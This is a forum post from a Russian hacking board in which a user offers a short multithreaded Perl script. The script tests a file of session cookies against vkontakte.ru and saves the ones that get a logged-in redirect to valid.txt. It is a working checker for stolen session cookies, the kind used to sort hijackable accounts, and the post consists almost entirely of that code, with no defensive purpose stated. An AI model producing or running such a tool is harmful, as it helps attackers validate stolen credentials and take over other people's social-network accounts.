Показать сообщение отдельно

  #6  
Старый 15.06.2009, 20:17
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
С нами: 9851426

Репутация: 1676


По умолчанию

В самом простом варианте
Код:
use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;

my $cfile = './cookie.txt'; #кукисы
my $fgood = './valid.txt'; #валид
my $thrnm = 1; #потоки

open F, "<", $cfile || die $!;
chomp(my @clist : shared = <F>);
close F;
my @trl = ();

for(0..$thrnm-1) {$trl[$_] = threads->create(\&check) }
for(@trl)   { $_->join }

sub check
{
 while(@clist)
	{
	 my $line;
	 {lock(@clist); $line = shift @clist;}
	 my $sock = new IO::Socket::INET 
		(
		PeerAddr => 'vkontakte.ru',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 20
		) or warn "Can't connect\n";
	 
	 my $req = "GET http://vkontakte.ru/ HTTP/1.0\n".
	 "Host: vkontakte.ru\n".
	 "Cookie: ".$line."\n\n";

	 print $sock $req;
	 read $sock, my $answ, 64;
	 
	 if($answ =~ /302 Found/)
		{
		 print "[+] ".substr($line, 0, 50)."\n";
		 open F, ">>", $fgood || die $!;
		 print F $line;
		 close F;
		}
	 else
		{
		 print "[-] ".substr($line, 0, 50)."\n";
		}
	 close $sock;
	}
}
 
Ответить с цитированием